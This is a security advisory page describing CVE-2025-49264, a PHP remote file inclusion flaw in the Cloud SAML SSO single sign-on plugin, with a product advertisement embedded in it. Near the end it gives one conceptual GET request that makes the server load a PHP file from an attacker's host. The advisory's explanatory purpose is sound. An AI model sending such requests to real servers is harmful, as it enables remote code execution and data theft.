Overview
An identified vulnerability, CVE-2025-49264, in Cloud Infrastructure Services Cloud SAML SSO – Single Sign On Login, has been found to cause potential system compromise or data leakage. This is due to an improper control of the filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’). The vulnerability affects users of this service and is of significant concern due to the potential for malicious entities to gain unauthorized access.
Vulnerability Summary
CVE ID: CVE-2025-49264
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Cloud SAML SSO – Single Sign On Login | n/a – 1.0.18
How the Exploit Works
The CVE-2025-49264 exploit involves a PHP Remote File Inclusion (RFI) vulnerability, which occurs when an application uses user input to construct a file path for file operations. An attacker can manipulate the input to point to an arbitrary remote file which will be downloaded and executed by the application. This allows an attacker to execute arbitrary code on the system.
Conceptual Example Code
Here’s a conceptual example of how an attacker might exploit this vulnerability:
GET /vulnerable.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, the attacker is able to load `malicious_file.php` from their server by manipulating the `file` parameter in the GET request. This remote file could contain code that would be executed by the server, possibly leading to unauthorized access or data leakage.